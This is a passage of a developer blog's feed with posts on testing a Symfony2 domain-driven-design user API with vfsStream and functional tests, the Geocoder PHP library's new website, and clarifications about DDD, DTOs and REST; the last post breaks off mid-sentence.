        &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertNull&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testAdd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addUsers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$expected&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&amp;lt;&amp;lt;&amp;lt;YAML
-
    id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23
    first_name: Jean
    last_name: Bon
-
    id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44
    first_name: John
    last_name: Doe

YAML;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertEquals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$expected&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cacheDir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;users.yml&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testAdd()&lt;/code&gt; method is just an example on how to use vfsStream.
Also, I won’t cover all tests that should be written for this repository, however
you must test all its public methods.&lt;/p&gt;

&lt;p&gt;Now, let’s setup the functional tests.&lt;/p&gt;

&lt;h2 id=&quot;functional-testing&quot;&gt;Functional Testing&lt;/h2&gt;

&lt;p&gt;A while ago, I created a bundle named
&lt;a href=&quot;https://github.com/willdurand/BazingaRestExtraBundle&quot;&gt;BazingaRestExtraBundle&lt;/a&gt;,
which contains various tools that are not part of the
&lt;a href=&quot;https://github.com/FriendsOfSymfony/FOSRestBundle&quot;&gt;FOSRestBundle&lt;/a&gt; (yet).
One of the most useful class is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WebTestCase&lt;/code&gt; which extends the Symfony one,
and provides methods that I use all the time while testing REST APIs, especially
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertJsonResponse()&lt;/code&gt; I &lt;a href=&quot;/2012/08/02/rest-apis-with-symfony2-the-right-way/#testing&quot;&gt;already
covered&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Require it as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dev&lt;/code&gt; package:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ composer require willdurand/rest-extra-bundle:&quot;0.0.*&quot; --dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, create your first functional test class:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\ApiBundle\Tests\Controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Bazinga\Bundle\RestExtraBundle\Test\WebTestCase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserControllerTest&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebTestCase&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$client&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$crawler&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/users.json&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertJsonResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This test should fail because you didn’t provide any fixtures. Use the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUp()&lt;/code&gt; method to copy a fixtures file to the cache directory so that you
keep control over the data in your tests:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserControllerTest&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebTestCase&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Filesystem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;__DIR__&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/../Fixtures/users.yml&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContainer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;kernel&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getCacheDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/users.yml&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fixtures/users.yml&lt;/code&gt; file contains the following data:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;50AAF29D-DB0B-43FE-9DD8-2F1C058416C5&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;first_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Jean&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;last_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Bon&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;53E2F088-E0B0-4A21-86A8-67B2FD6A2749&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;first_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;John&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;last_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Doe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s it! You are able to test your application in a functional way like a
boss!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As of now, the sample application looks good. It does not do much things right
now, but everything is bootstrapped. You should keep in mind that testing is
really important, and that you should use the right tools even in your tests.
&lt;a href=&quot;https://github.com/mikey179/vfsStream&quot;&gt;vfsStream&lt;/a&gt; is awesome!&lt;/p&gt;

&lt;p&gt;Hopefully you now understand why combining programming to the interface with
dependency injection is powerful. Replacing an implementation to another one is
just a matter of alias here.&lt;/p&gt;

&lt;p&gt;In the next blog post, I will mainly cover &lt;strong&gt;factories&lt;/strong&gt;, stay tuned!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Taking Geocoder to the next level</title>
        <link href="https://williamdurand.fr/2013/08/29/taking-geocoder-to-the-next-level/"/>
        <updated>2013-08-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/08/29/taking-geocoder-to-the-next-level</id>
        <content type="html">&lt;p&gt;Almost two years ago, I pushed &lt;a href=&quot;https://github.com/geocoder-php/Geocoder/commit/a5e2ebe5a13eab1da663681e0901072b8b121d49&quot;&gt;the first
commits&lt;/a&gt;
of a project that was anything but useful. I started this project to ease a
friend’s life – @themouette – who was playing with the Google Maps API in a PHP
app back then. I named this project &lt;a href=&quot;https://geocoder-php.org&quot;&gt;Geocoder&lt;/a&gt; because
I could not come up with a better name…&lt;/p&gt;

&lt;p&gt;A few weeks later, this project got a lot more attention, I received very
positive feedback and people started to contribute. That was amazing! At the
time of writing, more than 630 commits have been made by 43 contributors.
According to &lt;a href=&quot;https://packagist.org/packages/willdurand/geocoder&quot;&gt;Packagist&lt;/a&gt;, it
has been installed more than 40K times. Awesome for such a library!&lt;/p&gt;

&lt;p&gt;Geocoder is an abstraction layer for most of the existing third-party geocoding
APIs. It is rather specific and that is why these numbers look even more awesome
to me! This project became my most starred library on
&lt;a href=&quot;https://github.com/willdurand&quot;&gt;GitHub&lt;/a&gt;, and the project has been featured by
Smashing Magazine on Twitter ❤️&lt;/p&gt;

&lt;p&gt;I believe it became relatively successful because Geocoder has been created to
answer only one need, and the scope was small enough. The library was focused on
(reverse) geocoding addresses, nothing more and certainly nothing fancy.&lt;/p&gt;

&lt;p&gt;Earlier this week, I decided to move forward with this project. First of all, I
am glad to unveil a new website available at
&lt;a href=&quot;https://geocoder-php.org&quot;&gt;geocoder-php.org&lt;/a&gt;. The homepage introduces Geocoder
as well as its related projects. More projects will join the family soon! Each
project has its own documentation page and a cookbook will be published soon..&lt;/p&gt;

&lt;p&gt;In addition to that, a new GitHub organization called
&lt;a href=&quot;https://github.com/geocoder-php&quot;&gt;geocoder-php&lt;/a&gt; has been created to gather
all the folks interested in the project. It is critical for such a project to be
maintained, and that is why I asked key people to join the new Geocoder family.
Our goal is to make Geocoder even better and future-proof!&lt;/p&gt;

&lt;p&gt;Last but not least, Geocoder now has its own shiny logo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/geocoder.png&quot; style=&quot;width: 300px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We, the Geocoder core team, intend to ship new features and release often. Your
feedback is important. Please get in touch with us about missing features and so
on. Also, if you are using Geocoder, I would personally be glad to hear from
you!&lt;/p&gt;

&lt;p&gt;Special thanks to &lt;a href=&quot;https://github.com/toin0u&quot;&gt;Antoine&lt;/a&gt;,
&lt;a href=&quot;https://github.com/Baachi&quot;&gt;Markus&lt;/a&gt;, and &lt;a href=&quot;https://github.com/geocoder-php/Geocoder/contributors&quot;&gt;all
contributors&lt;/a&gt;.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>DDD with Symfony2: Making Things Clear</title>
        <link href="https://williamdurand.fr/2013/08/20/ddd-with-symfony2-making-things-clear/"/>
        <updated>2013-08-20T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/08/20/ddd-with-symfony2-making-things-clear</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Domain-driven_design&quot;&gt;Domain Driven Design&lt;/a&gt; also
known as &lt;strong&gt;DDD&lt;/strong&gt; is an approach to develop software for complex needs by
connecting the implementation to an evolving model. &lt;a href=&quot;http://dddcommunity.org/learning-ddd/what_is_ddd/&quot;&gt;It is a way of thinking and
a set of priorities, aimed at accelerating software projects that have to deal
with complicated domains&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It is possible to use this approach in a Symfony2 project, and that is what I am
going to introduce in a series of blog posts. You will learn how to build an
&lt;a href=&quot;/2012/08/02/rest-apis-with-symfony2-the-right-way/&quot;&gt;application that manages users through a REST
API&lt;/a&gt; using &lt;strong&gt;D&lt;/strong&gt;omain
&lt;strong&gt;D&lt;/strong&gt;riven &lt;strong&gt;D&lt;/strong&gt;esign.&lt;/p&gt;

&lt;p&gt;This is the second article of this series! You should read &lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/&quot;&gt;Folder Structure
And Code First&lt;/a&gt;
before digging into that one. This blog post is an attempt to fix a few
misunderstandings coming from the &lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/&quot;&gt;first
post&lt;/a&gt;. I
recommend you to quickly jump to all links, they are valuable!&lt;/p&gt;

&lt;h2 id=&quot;ddd-is-not-rad&quot;&gt;DDD Is Not RAD&lt;/h2&gt;

&lt;p&gt;Domain Driven Design is &lt;strong&gt;not&lt;/strong&gt; a &lt;strong&gt;fast&lt;/strong&gt; way to build a software. It is not
&lt;a href=&quot;http://en.wikipedia.org/wiki/Rapid_application_development&quot;&gt;RAD&lt;/a&gt; at all! It
implies a lot of boilerplate code, tons of classes, and so on. No, really. It
is not the fastest way to write an application. No one ever said that DDD was
simple or easy.&lt;/p&gt;

&lt;p&gt;However, it is able to &lt;strong&gt;ease your life when you have to deal with complex
business expectations&lt;/strong&gt;. &lt;em&gt;How?&lt;/em&gt; By considering your domain (also known as your
business) as the heart of your application. Honestly, DDD should be used in a
rather &lt;strong&gt;large application&lt;/strong&gt;, with complex business rules and scenarios. Don’t
use it if you are building a blog, it does not make much sense (even if it is
probably the best way to learn the hard way). So question is &lt;a href=&quot;http://shishkin.wordpress.com/2008/10/10/when-to-use-domain-driven-design/&quot;&gt;when to use
DDD?&lt;/a&gt;
I would say when your domain is very complex, or when the business requirements
change fast.&lt;/p&gt;

&lt;h2 id=&quot;there-is-no-database&quot;&gt;There Is No Database&lt;/h2&gt;

&lt;p&gt;In DDD, we &lt;strong&gt;don’t consider any databases&lt;/strong&gt;. &lt;a href=&quot;http://devlicio.us/blogs/casey/archive/2009/02/12/ddd-there-is-no-database.aspx&quot;&gt;DDD is all about the domain, not
about the database, and Persistence Ignorance (PI) is a very important aspect of
DDD&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;strong&gt;Persistence Ignorance&lt;/strong&gt;, we try and eliminate all knowledge from our
business objects of how, where, why or even if they will be stored somewhere.
Persistence Ignorance means that &lt;a href=&quot;http://stackoverflow.com/questions/905498/what-are-the-benefits-of-persistence-ignorance&quot;&gt;the business logic itself doesn’t know about
persistence&lt;/a&gt;.
In other words, &lt;strong&gt;your Entities should not be tied to any persistence layer or
framework&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So, don’t expect me to make choices because it works better with Doctrine, Propel
or whatever. This is not how we should use DDD. We, as &lt;a href=&quot;http://devlicio.us/blogs/casey/archive/2008/09/10/the-tao-of-domain-driven-design.aspx&quot;&gt;developers, need to
become part of our business users domains, we need to stop thinking in technical
terms and constructs, and need to immerse ourselves in the world our business
users inhabit&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;ddd-and-rest&quot;&gt;DDD And REST&lt;/h2&gt;

&lt;p&gt;By now, I use a REST API as &lt;strong&gt;Presentation Layer&lt;/strong&gt;. It is &lt;strong&gt;perfectly doable&lt;/strong&gt;
and, even if &lt;a href=&quot;http://dontpanic.42.nl/2012/04/rest-and-ddd-incompatible.html&quot;&gt;both concepts seem opposites, they play nice
together&lt;/a&gt;. Remember that
one of the &lt;strong&gt;strengths&lt;/strong&gt; of DDD is the &lt;strong&gt;separation of concerns&lt;/strong&gt; thanks to
&lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/#conclusion&quot;&gt;distinct
layers&lt;/a&gt;.
I am afraid that people think that it is not possible to play with both at the same
time because &lt;a href=&quot;http://blog.steveklabnik.com/posts/2011-07-03-nobody-understands-rest-or-http&quot;&gt;nobody understands REST or
HTTP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Basically, &lt;a href=&quot;http://stackoverflow.com/questions/10943758/is-it-good-to-return-domain-model-from-rest-api-over-a-ddd-application&quot;&gt;you should not expose your Domain Model as-is over a public
interface&lt;/a&gt;
such as a REST API. That is why you should &lt;a href=&quot;http://neverstopbuilding.net/the-dto-pattern-how-to-generate-php-dtos-quickly-with-dtox/&quot;&gt;use
Data Transfer Objects&lt;/a&gt;
(&lt;a href=&quot;http://en.wikipedia.org/wiki/Data_transfer_object&quot;&gt;DTOs&lt;/a&gt;). DTOs are &lt;strong&gt;simple
objects&lt;/strong&gt; that &lt;strong&gt;should not contain any business logic&lt;/strong&gt; that would require
testing by the way. A DTO could be seen as a PHP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array&lt;/code&gt; actually.&lt;/p&gt;

&lt;p&gt;What you should do here is to write a REST API that &lt;strong&gt;exposes resources that
make sense for the clients&lt;/strong&gt; (the clients that consume your API), and that are
not always 1-1 with your Domain Model. See these resources as DTOs. For
instance, if you deal with &lt;em&gt;Orders&lt;/em&gt; and &lt;em&gt;Payments&lt;/em&gt;, you could &lt;strong&gt;create&lt;/strong&gt; a
&lt;em&gt;transaction&lt;/em&gt; resource to perform the business operation
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payOrder(Order $order, Payment $payment)&lt;/code&gt; as proposed by Jonathan Bensaid in
the (now deleted) comments of the previous article:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /transactions
orderId=123&amp;amp;paymentId=456&amp;amp;...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;Application Layer&lt;/strong&gt; will receive the data from the &lt;strong&gt;Presentation Layer&lt;/strong&gt;
and call the &lt;strong&gt;Domain Layer&lt;/strong&gt;. This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transaction&lt;/code&gt; is a DTO. It is not part of
the domain but it is useful to exchange information between the Presentation and
the Application layers.&lt;/p&gt;

&lt;p&gt;However, in the previous article I was able to directly map my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; Entity to
resources of type &lt;em&gt;users&lt;/em&gt;. But if you look at the whole thing, I used a
Serializer component to only expose some properties. That is actually another
sort of DTO. The Entity is transformed to only expose data that are relevant for
the clients (the clients that consume your API). So it is ok(-ish)!&lt;/p&gt;

&lt;p&gt;Also, note that HTTP methods explicitly delineate commands and
queries. That means &lt;strong&gt;Command Query Responsibility Separation&lt;/strong&gt;
&lt;a href=&quot;http://martinfowler.com/bliki/CQRS.html&quot;&gt;CQRS&lt;/a&gt; &lt;strong&gt;maps directly to HTTP&lt;/strong&gt;. Hurray!&lt;/p&gt;

&lt;h2 id=&quot;so-whats-next&quot;&gt;So, What’s Next?&lt;/h2&gt;

&lt;p&gt;In this series, I will introduce a more complex business, don’t worry! Hopefully
I was clear enough to explain my choices regarding this series, and I fixed some
misconceptions about DDD, RAD, and REST.&lt;/p&gt;

&lt;p&gt;In the next blog post, I will introduce the &lt;strong&gt;Presentation Layer&lt;/strong&gt;, new Value
Objects such as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Name&lt;/code&gt; one, and more on &lt;strong&gt;DDD&lt;/strong&gt;! At the end of the next
post, you will basically get a CRUD-ish application. Yes, I know… &lt;a href=&quot;http://verraes.net/2013/04/crud-is-an-anti-pattern/&quot;&gt;CRUD is an
anti-pattern&lt;/a&gt;, but it does
not mean you should avoid it all the time. Creating new &lt;em&gt;users&lt;/em&gt; make sense
afterall.&lt;/p&gt;

&lt;p&gt;The third post will allow you to create almost everything you need in the
different DDD layers to build a strong and powerful domain, with complex logic,
and so on. You may not get why DDD is great until that, so don’t panic and stay
tuned!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>DDD with Symfony2: Folder Structure And Code First</title>
        <link href="https://williamdurand.fr/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/"/>
        <updated>2013-08-07T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Domain-driven_design&quot;&gt;Domain Driven Design&lt;/a&gt; also
known as &lt;strong&gt;DDD&lt;/strong&gt; is an approach to develop software for complex needs by
connecting the implementation to an evolving model. &lt;a href=&quot;http://dddcommunity.org/learning-ddd/what_is_ddd/&quot;&gt;It is a way of thinking and
a set of priorities, aimed at accelerating software projects that have to deal
with complicated domains&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It is possible to use this approach in a Symfony2 project, and that is what I am
going to introduce in a series of blog posts. You will learn how to build an
&lt;a href=&quot;/2012/08/02/rest-apis-with-symfony2-the-right-way/&quot;&gt;application that manages users through a REST
API&lt;/a&gt; using &lt;strong&gt;D&lt;/strong&gt;omain
&lt;strong&gt;D&lt;/strong&gt;riven &lt;strong&gt;D&lt;/strong&gt;esign.&lt;/p&gt;

&lt;h2 id=&quot;bootstrap&quot;&gt;Bootstrap&lt;/h2&gt;

&lt;p&gt;Start by creating a fresh project using the
&lt;a href=&quot;https://github.com/symfony/symfony-standard&quot;&gt;symfony-standard&lt;/a&gt; edition:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;composer create-project symfony/framework-standard-edition path/to/install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I use to remove unecessary files such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/*&lt;/code&gt;, as well as useless bundles. My
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;composer.json&lt;/code&gt; file requires the following packages (for now):&lt;/p&gt;

